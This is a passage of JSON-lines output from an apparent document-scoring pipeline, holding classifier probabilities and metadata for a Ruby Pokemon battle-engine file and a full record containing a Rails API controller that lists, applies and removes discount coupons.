"secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11822, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11822, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:12.512475+00:00", "scoring_key_slot": "primary", "dataset_uid": "f51abc31-d874-4a8c-85e3-582762cf794b", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "cf54266e82b8442d6a38e927546f1014615e78eea21b9e5e48040fc26d0abf58", "source_metadata": {"uuid": "f51abc31-d874-4a8c-85e3-582762cf794b", "repo_name": "Marco-Puig/Thunder-Lightning", "relative_path": "pokemonsdk/scripts/01500 Alpha 24 Battle Engine (deprecated)/01700 BattleEngine/01000 BattleEngine___Skill_Multi_Turns.rb", "category": "TOOL", "algo_rel_score": 0.962324857711792, "quality_score": 3.326631784439087, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 21, "repo_created_at": "2021-09-23T21:06:04.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "78b97769739e1e6ac763f9a9259ce696e80ad1b6", "size_bytes": 10609, "file_timestamp": 1684868888, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 21, "repo_created_at": "2021-09-23T21:06:04.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "78b97769739e1e6ac763f9a9259ce696e80ad1b6", "size_bytes": 10609, "file_timestamp": 1684868888, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5", "url": "https://github.com/Marco-Puig/Thunder-Lightning/blob/6a66b294ad8ef1e0eb4ce97e665c73ff243d77a5/pokemonsdk/scripts/01500%20Alpha%2024%20Battle%20Engine%20%28deprecated%29/01700%20BattleEngine/01000%20BattleEngine___Skill_Multi_Turns.rb"}, "gpt4o_tokens": 3091, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9573021061686491, "noise_severity": 0.07997767059226381, "missing_content_severity": 0.01740042660581181, "factual_density": 3.5165833603574264, "pretraining_utility": 0.3519946397141489, "math_density": 0.9390936407435198, "code_density": 3.876422635348667, "reasoning_density": 0.9403451466219247, "education_level": 2.1443104138668736, "creative_writing_quality": -0.4595399629390497}, "score_applicability": {"education_level": 0.9973335995057411, "creative_writing_quality": 0.0003331237007369402}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/abhishekpixo07/Grind-and-Pound/blob/c52cc95c692a9930216f19e3a56a40edbaaf45c7/app/controllers/api/v1/coupons_controller.rb", "id": "ruby-0-6792ce04b5f0274766ef62f6e349e2f4", "text": "module Api\n module V1 \n class Api::V1::CouponsController < ApplicationController\n before_action :authenticate_user_from_token!\n before_action :current_user\n before_action :set_coupon, only: [:show]\n \n def index\n @coupons = Coupon.all.map do |coupon|\n {\n id: coupon.id,\n code: coupon.code,\n title: coupon.title,\n description: coupon.description,\n discount_percentage: coupon.discount_percentage,\n status: coupon_status(coupon),\n created_at: coupon.created_at,\n updated_at: coupon.updated_at\n }\n end\n render json: @coupons\n end\n \n def show\n render json: @coupon\n end\n \n \n def apply\n total_price = params[:total_price].to_f\n coupon_code = params[:coupon_code]\n \n coupon = Coupon.find_by(code: coupon_code)\n if coupon.present?\n temp_user_coupon_count = TempUserCoupon.where(user_id: @current_user.id, coupon_id: coupon.id).count\n return render_coupon_error({ status: 'Expired', message: 'Sorry, the coupon has expired.' }) if expired_coupon?(coupon)\n return render_coupon_error({ status: 'Redeemed', message: 'This coupon can only be used once per user.' }) if unique_coupon_used?(coupon, temp_user_coupon_count)\n if global_usage_limit_reached?(coupon, temp_user_coupon_count)\n return render_coupon_error({ status: 'Redeemed', message: 'Coupon usage limit reached for this user.' })\n end\n return render_coupon_error({ status: 'Unused', message: 'Coupon usage limit reached. No more uses available.' }) if coupon.no_of_uses <= 0\n\n coupon_status = coupon_status(coupon)\n return render_coupon_error({ status: coupon_status, message: 'Sorry, the coupon cannot be applied.' }) if coupon_status != 'Unused'\n \n coupon.update(no_of_uses: coupon.no_of_uses - 1)\n TempUserCoupon.create!(user_id: @current_user.id, coupon_id: coupon.id)\n discount_amount = (coupon.discount_percentage / 100) * total_price\n discounted_price = total_price - discount_amount\n \n render json: { status: 'Unused', message: 'Congratulations! The coupon was applied successfully.', success: true, discounted_price: discounted_price, discount_amount: discount_amount, discount_percentage: coupon.discount_percentage }\n else\n render json: { error: 'Coupon not found.' }, status: :unprocessable_entity\n end\n end\n\n def remove\n coupon_code = params[:coupon_code] \n coupon = Coupon.find_by(code: coupon_code)\n # If the coupon exists, remove it from TempUserCoupon\n if coupon.present?\n temp_coupon = TempUserCoupon.find_by(user_id: @current_user.id, coupon_id: coupon.id) \n if temp_coupon.present?\n temp_coupon.destroy\n # Increment the number of uses when removing the coupon\n coupon.update(no_of_uses: coupon.no_of_uses + 1)\n render json: { success: true, message: 'Coupon removed successfully' }\n else\n render json: { success: false, message: 'Coupon not found in applied coupons' }, status: :unprocessable_entity\n end\n else\n render json: { error: 'Coupon not found' }, status: :unprocessable_entity\n end\n end \n \n private\n \n def set_coupon\n @coupon = Coupon.find_by_id(params[:id])\n render json: { error: 'coupon not found.' }, status: :unprocessable_entity if !@coupon.present?\n end\n\n def expired_coupon?(coupon)\n return coupon.expiry_date.present? && coupon.expiry_date < Date.current\n end\n \n def unique_coupon_used?(coupon, user_coupon_count)\n return coupon.unique_per_user && user_coupon_count >= 1\n end\n \n def global_usage_limit_reached?(coupon, user_coupon_count)\n return coupon.no_of_uses > 0 && coupon.user_limit > 0 && user_coupon_count >= coupon.user_limit\n end\n \n def render_coupon_error(message)\n render json: { success: false, message: message }\n end\n\n def coupon_status(coupon)\n user_coupon_count = TempUserCoupon.where(user_id: @current_user.id, coupon_id: coupon.id).count\n return 'Expired' if expired_coupon?(coupon)\n return 'Redeemed' if unique_coupon_used?(coupon, user_coupon_count)\n return 'Redeemed' if global_usage_limit_reached?(coupon, user_coupon_count)\n return 'Unused' if coupon.no_of_uses > 0 || user_coupon_count < coupon.user_limit\n \n 'Coupon usage limit reached'\n end\n \n end\n end\nend", "text_preview": "module Api module V1 class Api::V1::CouponsController < ApplicationController before_action :authenticate_user_from_token! before_action :current_user before_action :set_coupon, only: [:show] def index @coupons = Coupon.all.map do |coupon| ", "input_sha256": "ebae00914f6de99b895c789dfdc48dd7caa3d056dee0cf4af05c4c00632270f8", "text_sha256": "6792ce04b5f0274766ef62f6e349e2f41741c004198039053914cfc22fb6fd0a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16095, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 1, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.4616649484204626, "noise_severity": 0.013572071876038904, "missing_content_severity": 0.00878555580357974, "factual_density": 3.370052274773029, "pretraining_utility": 0.5505048486590347, "math_density": 0.760136750680716, "code_density": 3.865553011812268, "reasoning_density": 1.6037269261090052, "education_level": 2.1642739936317144, "creative_writing_quality": -0.3554560969608406}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.04537837906561315, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9957446342419204, "secondary": 0.9370332223171306, "tertiary": 0.9843845743855965, "structured_records": 0.0360395203550185, "procedural_steps": 0.004073885380973096, "worked_solution": 0.0059206480460457294, "contextual_dialogue": 5.738645281267054e-06, "content_quality": 0.3849457035228879, "noise_severity": 0.9886899401033009, "missing_content_severity": 0.9926787034970169, "factual_density": 0.47504356231085754, "pretraining_utility": 0.493154002531053, "math_density": 0.6260606611713977, "code_density": 0.8879608431768896, "reasoning_density": 0.0, "education_level": 0.7633764087902218, "creative_writing_quality": 0.9993683642985145, "primary_topic": 0.9839866231830923, "secondary_topic": 0.7781814785848475}, "probability_margin": {"primary": 0.9932818957591316, "secondary": 0.9010819426289786, "tertiary": 0.9754636242109406, "education_level": 0.6351649444422756, "creative_writing_quality": 0.9992307771197634, "primary_topic": 0.973889210835015, "secondary_topic": 0.6131076099961075}, "raw_probabilities": {"primary": {"Academic Writing": 2.555439573811345e-05, "Content Listing": 2.29826107178299e-05, "Creative Writing": 1.3773170477474578e-05, "Customer Support Page": 7.124638987709036e-06, "Q&A Forum": 9.460850159124424e-06, "Discussion Thread": 5.758950284596481e-06, "Comment Section": 9.092451589119049e-06, "Missing Content": 1.8646760605187625e-05, "Knowledge Article": 4.9331076177340104e-05, "Legal Notices": 2.5793326023728077e-05, "News Article": 3.473411042349621e-06, "Organizational Announcement": 8.13275687040677e-06, "Nonfiction Writing": 8.51357160638663e-06, "Organizational About Page": 9.505186872521163e-06, "Personal About Page": 9.453184082357028e-06, "Personal Blog": 6.2668518126079005e-06, "Product Page": 7.343599783476106e-06, "Spam / Ads": 7.729298451549775e-06, "Structured Data": 0.002640045389375446, "Technical Writing": 0.9959219411485071, "Transcript / Interview": 1.1682351028803338e-05, "Tutorial / How-To Guide": 0.00018773341054915577, "User Reviews": 4.886042991388441e-06, "Other / Unknown": 0.0009857755662664432}, "secondary": {"Academic Writing": 0.0002638261998357852, "Content Listing": 0.0003087162904141541, "Creative Writing": 0.0002565977138423365, "Customer Support Page": 0.0001601482937443189, "Q&A Forum": 9.87217271921858e-05, "Discussion Thread": 8.506583854880959e-05, "Comment Section": 0.00020014490325928605, "Missing Content": 0.00036226683868249246, "Knowledge Article": 0.0004672757711611857, "Legal Notices": 0.00023403416210027872, "News Article": 0.00013248472149156329, "Organizational Announcement": 0.00012051079527573681, "Nonfiction Writing": 0.00012573276851168488, "Organizational About Page": 0.00014728289882548094, "Personal About Page": 0.00010731544048174831, "Personal Blog": 0.00011156688509437851, "Product Page": 9.861238737434699e-05, "Spam / Ads": 0.00013177774316059575, "Structured Data": 0.03857489542493832, "Technical Writing": 0.0175428657421783, "Transcript / Interview": 0.00016540324293759848, "Tutorial / How-To Guide": 0.0005918952879515897, "User Reviews": 5.6020869080918114e-05, "NONE": 0.9396568380539169}, "tertiary": {"Academic Writing": 7.574652502074151e-05, "Content Listing": 0.00011884114392351014, "Creative Writing": 7.854298239122754e-05, "Customer Support Page": 5.3028903138346153e-05, "Q&A Forum": 2.4553192698044482e-05, "Discussion Thread": 2.250291975432529e-05, "Comment Section": 9.95319916766539e-05, "Missing Content": 0.00023746546263993002, "Knowledge Article": 0.00026729493416771265, "Legal Notices": 0.0001169788234502824, "News Article": 4.0688305390545115e-05, "Organizational Announcement": 3.386400620202427e-05, "Nonfiction Writing": 4.429237247218676e-05, "Organizational About Page": 6.295758783993894e-05, "Personal About Page": 3.377460204206825e-05, "Personal Blog": 3.370254478876197e-05, "Product Page": 4.088968726945667e-05, "Spam / Ads": 5.29402734670462e-05, "Structured Data": 0.009571592908589336, "Technical Writing": 0.0033048301034694764, "Transcript / Interview": 4.942641657041624e-05, "Tutorial / How-To Guide": 0.0005805035311095499, "User Reviews": 2.0833662398398843e-05, "NONE": 0.9850352171195299}, "structured_records": {"false": 0.9639604796449815, "true": 0.0360395203550185}, "procedural_steps": {"false": 0.9959261146190269, "true": 0.004073885380973096}, "worked_solution": {"false": 0.9940793519539542, "true": 0.0059206480460457294}, "contextual_dialogue": {"false": 0.9999942613547187, "true": 5.738645281267054e-06}, "content_quality": {"-2": 0.01773872341251706, "-1": 0.1224875137383715, "0": 0.34000890596174166, "1": 0.41989980479087113, "2": 0.0998650520964985}, "noise_severity": {"0": 0.9886678054263259, "1": 0.009786658301653501, "2": 0.0010396439894466024, "3": 0.00031744353480421555, "4": 0.00018844874776988873}, "missing_content_severity": {"0": 0.9956338658753104, "1": 0.0010816101655989458, "2": 0.0022954413466770083, "3": 0.0008432675050272555, "4": 0.0001458151073862524}, "factual_density": {"0": 0.0036226188084698065, "1": 0.008605261940912991, "2": 0.09271273193169284, "3": 0.40421600030696714, "4": 0.49084338701195723}, "pretraining_utility": {"-2": 0.008135600082948287, "-1": 0.06796861394666837, "0": 0.3685111460096692, "1": 0.4760246171498287, "2": 0.07936002281088546}, "math_density": {"0": 0.3442952279568034, "1": 0.5849876850552796, "2": 0.05046728922353299, "3": 0.006784703879165649, "4": 0.013465093885218358}, "code_density": {"0": 0.0003687790114800488, "1": 0.0006515031451317625, "2": 0.019702438215738746, "3": 0.09161248627493951, "4": 0.8876647933527099}, "reasoning_density": {"0": 0.32252341541727114, "1": 0.13799056305734614, "2": 0.24843276493415234, "3": 0.1953421931815668, "4": 0.09571106340966347}, "education_level": {"none": 0.0011301049886871927, "0": 0.001324420813677961, "1": 0.01835922748754498, "2": 0.8028136739918516, "3": 0.16764872954957605, "4": 0.008723843168662322}, "creative_writing_quality": {"not_applicable": 0.9994736369154288, "-2": 6.530171061418187e-05, "-1": 0.00014644671552137043, "0": 0.00024285979566537422, "1": 5.355855641756169e-05, "2": 1.8196306353051972e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.827942374381623e-05, "Art & Design": 4.8856861431689904e-05, "Law & Crime": 5.5359648326309755e-05, "Education & Careers": 4.5654401829717294e-05, "Entertainment & Media": 5.7579722974436325e-05, "Fashion & Beauty": 9.07449313741146e-05, "Business, Economics & Finance": 0.010713311456419862, "Food & Dining": 0.0002821639465196778, "Games & Gaming": 0.0006264323942178789, "Electronics & Hardware": 5.1836480648343334e-05, "Health, Healthcare & Wellness": 3.476444682185733e-05, "History & Geography": 2.9922775763942e-05, "Home, Pets & Hobbies": 4.0008443598110075e-05, "Industry & Production": 5.009275197858769e-05, "Language, Literature & Philosophy": 3.979424441176717e-05, "Politics & Government": 2.7022832338541948e-05, "Religion & Spirituality": 3.415696614048538e-05, "Science, Mathematics & Engineering": 7.864726552574314e-05, "Relationships & Community": 2.1500422560097272e-05, "Software Usage & Applications": 0.0004931277477961152, "Programming & Software Engineering": 0.9846025222914349, "Sports & Fitness": 0.00017891646221532718, "Vehicles & Transportation": 3.262931656530852e-05, "Travel & Tourism": 8.01769549473548e-05, "Other / Uncovered Subject": 0.0021660902954013924, "Unknown / Insufficient Content": 8.040751501492e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000573709546034085, "Art & Design": 0.0005186903106098588, "Law & Crime": 0.0008362667405647623, "Education & Careers": 0.00039102945598711, "Entertainment & Media": 0.0005899727791346704, "Fashion & Beauty": 0.0006416534599907856, "Business, Economics & Finance": 0.1736053501816306, "Food & Dining": 0.0012800073699325417, "Games & Gaming": 0.0023149199437091155, "Electronics & Hardware": 0.00040454453576216007, "Health, Healthcare & Wellness": 0.00031875305636744686, "History & Geography": 0.0002712609348188035, "Home, Pets & Hobbies": 0.00035150857485540974, "Industry & Production": 0.0002965128337683489, "Language, Literature & Philosophy": 0.00024318305166182259, "Politics & Government": 0.00023257971942476416, "Religion & Spirituality": 0.00041373537697449907, "Science, Mathematics & Engineering": 0.0003871195457377979, "Relationships & Community": 0.00017632538827458134, "Software Usage & Applications": 0.0030013138155840727, "Programming & Software Engineering": 0.02257449882335909, "Sports & Fitness": 0.0007562638343885918, "Vehicles & Transportation": 0.00020070018193925858, "Travel & Tourism": 0.000515312184993258, "Other / Uncovered Subject": 0.002391828176758535, "NONE": 0.7867129601777381}}, "probabilities": {"primary": {"Academic Writing": 2.5554395738113445e-05, "Content Listing": 2.2982610717829892e-05, "Creative Writing": 1.3773170477474575e-05, "Customer Support Page": 7.124638987709034e-06, "Q&A Forum": 9.460850159124422e-06, "Discussion Thread": 5.75895028459648e-06, "Comment Section": 9.092451589119047e-06, "Missing Content": 1.8646760605187622e-05, "Knowledge Article": 4.933107617734009e-05, "Legal Notices": 2.579332602372807e-05, "News Article": 3.47341104234962e-06, "Organizational Announcement": 8.132756870406768e-06, "Nonfiction Writing": 8.513571606386628e-06, "Organizational About Page": 9.505186872521161e-06, "Personal About Page": 9.453184082357026e-06, "Personal Blog": 6.266851812607899e-06, "Product Page": 7.3435997834761046e-06, "Spam / Ads": 7.729298451549773e-06, "Structured Data": 0.0026400453893754457, "Technical Writing": 0.9959219411485069, "Transcript / Interview": 1.1682351028803334e-05, "Tutorial / How-To Guide": 0.00018773341054915572, "User Reviews": 4.88604299138844e-06, "Other / Unknown": 0.000985775566266443}, "secondary": {"Academic Writing": 0.0002638261998357852, "Content Listing": 0.0003087162904141541, "Creative Writing": 0.0002565977138423365, "Customer Support Page": 0.0001601482937443189, "Q&A Forum": 9.87217271921858e-05, "Discussion Thread": 8.506583854880959e-05, "Comment Section": 0.00020014490325928605, "Missing Content": 0.00036226683868249246, "Knowledge Article": 0.0004672757711611857, "Legal Notices": 0.00023403416210027872, "News Article": 0.00013248472149156329, "Organizational Announcement": 0.00012051079527573681, "Nonfiction Writing": 0.00012573276851168488, "Organizational About Page": 0.00014728289882548094, "Personal About Page": 0.00010731544048174831, "Personal Blog": 0.00011156688509437851, "Product Page": 9.861238737434699e-05, "Spam / Ads": 0.00013177774316059575, "Structured Data": 0.03857489542493832, "Technical Writing": 0.0175428657421783, "Transcript / Interview": 0.00016540324293759848, "Tutorial / How-To Guide": 0.0005918952879515897, "User Reviews": 5.6020869080918114e-05, "NONE": 0.9396568380539169}, "tertiary": {"Academic Writing": 7.574652502074153e-05, "Content Listing": 0.00011884114392351015, "Creative Writing": 7.854298239122755e-05, "Customer Support Page": 5.302890313834616e-05, "Q&A Forum": 2.4553192698044486e-05, "Discussion Thread": 2.2502919754325292e-05, "Comment Section": 9.953199167665391e-05, "Missing Content": 0.00023746546263993005, "Knowledge Article": 0.0002672949341677127, "Legal Notices": 0.00011697882345028241, "News Article": 4.068830539054512e-05, "Organizational Announcement": 3.386400620202428e-05, "Nonfiction Writing": 4.429237247218677e-05, "Organizational About Page": 6.295758783993896e-05, "Personal About Page": 3.3774602042068256e-05, "Personal Blog": 3.370254478876198e-05, "Product Page": 4.088968726945668e-05, "Spam / Ads": 5.2940273467046206e-05, "Structured Data": 0.009571592908589338, "Technical Writing": 0.003304830103469477, "Transcript / Interview": 4.942641657041625e-05, "Tutorial / How-To Guide": 0.00058050353110955, "User Reviews": 2.0833662398398846e-05, "NONE": 0.98503521711953}, "structured_records": {"false": 0.9639604796449815, "true": 0.0360395203550185}, "procedural_steps": {"false": 0.9959261146190269, "true": 0.004073885380973096}, "worked_solution": {"false": 0.9940793519539542, "true": 0.0059206480460457294}, "contextual_dialogue": {"false": 0.9999942613547187, "true": 5.738645281267054e-06}, "content_quality": {"-2": 0.017738723412517064, "-1": 0.12248751373837151, "0": 0.3400089059617417, "1": 0.4198998047908712, "2": 0.09986505209649851}, "noise_severity": {"0": 0.9886678054263257, "1": 0.0097866583016535, "2": 0.0010396439894466022, "3": 0.0003174435348042155, "4": 0.00018844874776988868}, "missing_content_severity": {"0": 0.9956338658753106, "1": 0.001081610165598946, "2": 0.0022954413466770088, "3": 0.0008432675050272556, "4": 0.00014581510738625244}, "factual_density": {"0": 0.0036226188084698065, "1": 0.008605261940912991, "2": 0.09271273193169284, "3": 0.40421600030696714, "4": 0.49084338701195723}, "pretraining_utility": {"-2": 0.008135600082948287, "-1": 0.06796861394666837, "0": 0.3685111460096692, "1": 0.4760246171498287, "2": 0.07936002281088546}, "math_density": {"0": 0.3442952279568034, "1": 0.5849876850552796, "2": 0.05046728922353299, "3": 0.006784703879165649, "4": 0.013465093885218358}, "code_density": {"0": 0.00036877901148004886, "1": 0.0006515031451317626, "2": 0.01970243821573875, "3": 0.09161248627493952, "4": 0.88766479335271}, "reasoning_density": {"0": 0.3225234154172712, "1": 0.13799056305734617, "2": 0.24843276493415237, "3": 0.19534219318156681, "4": 0.09571106340966348}, "education_level": {"none": 0.0011301049886871927, "0": 0.001324420813677961, "1": 0.01835922748754498, "2": 0.8028136739918516, "3": 0.16764872954957605, "4": 0.008723843168662322}, "creative_writing_quality": {"not_applicable": 0.9994736369154286, "-2": 6.530171061418185e-05, "-1": 0.0001464467155213704, "0": 0.00024285979566537416, "1": 5.3558556417561675e-05, "2": 1.819630635305197e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.8279423743816224e-05, "Art & Design": 4.885686143168989e-05, "Law & Crime": 5.535964832630974e-05, "Education & Careers": 4.565440182971729e-05, "Entertainment & Media": 5.757972297443631e-05, "Fashion & Beauty": 9.074493137411459e-05, "Business, Economics & Finance": 0.01071331145641986, "Food & Dining": 0.00028216394651967773, "Games & Gaming": 0.0006264323942178788, "Electronics & Hardware": 5.183648064834332e-05, "Health, Healthcare & Wellness": 3.476444682185732e-05, "History & Geography": 2.9922775763941992e-05, "Home, Pets & Hobbies": 4.000844359811007e-05, "Industry & Production": 5.0092751978587676e-05, "Language, Literature & Philosophy": 3.9794244411767164e-05, "Politics & Government": 2.702283233854194e-05, "Religion & Spirituality": 3.415696614048537e-05, "Science, Mathematics & Engineering": 7.864726552574312e-05, "Relationships & Community": 2.150042256009727e-05, "Software Usage & Applications": 0.0004931277477961151, "Programming & Software Engineering": 0.9846025222914346, "Sports & Fitness": 0.00017891646221532715, "Vehicles & Transportation": 3.2629316565308515e-05, "Travel & Tourism": 8.017695494735478e-05, "Other / Uncovered Subject": 0.002166090295401392, "Unknown / Insufficient Content": 8.040751501491998e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000573709546034085, "Art & Design": 0.0005186903106098588, "Law & Crime": 0.0008362667405647623, "Education & Careers": 0.00039102945598711, "Entertainment & Media": 0.0005899727791346704, "Fashion & Beauty": 0.0006416534599907856, "Business, Economics & Finance": 0.1736053501816306, "Food & Dining": 0.0012800073699325417, "Games & Gaming": 0.0023149199437091155, "Electronics & Hardware": 0.00040454453576216007, "Health, Healthcare & Wellness": 0.00031875305636744686, "History & Geography": 0.0002712609348188035, "Home, Pets & Hobbies": 0.00035150857485540974, "Industry & Production": 0.0002965128337683489, "Language, Literature & Philosophy": 0.00024318305166182259, "Politics & Government": 0.00023257971942476416, "Religion & Spirituality": 0.00041373537697449907, "Science, Mathematics & Engineering": 0.0003871195457377979, "Relationships & Community": 0.00017632538827458134, "Software Usage & Applications": 0.0030013138155840727, "Programming & Software Engineering": 0.02257449882335909, "Sports & Fitness": 0.0007562638343885918, "Vehicles & Transportation": 0.00020070018193925858, "Travel & Tourism": 0.000515312184993258, "Other / Uncovered Subject": 0.002391828176758535, "NONE": 0.7867129601777381}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9573, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9573, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:12.819671+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "bfb80fe3-61c4-478e-abb2-8a0f5385ffe0", "dataset_revision": 